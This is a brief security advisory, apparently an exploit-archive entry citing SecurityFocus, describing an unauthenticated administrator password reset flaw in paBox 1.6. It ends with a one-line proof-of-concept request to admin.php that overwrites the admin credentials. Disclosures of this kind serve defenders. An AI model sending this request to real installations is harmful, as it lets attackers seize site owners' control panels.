PABox 1.6 - Password Reset
source: https://www.securityfocus.com/bid/8067/info
paBox is prone to an issue that may allow unauthenticated remote users to reset administrative passwords. This could permit unauthorized access to the administrative Control Panel.
http://www.example.com/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin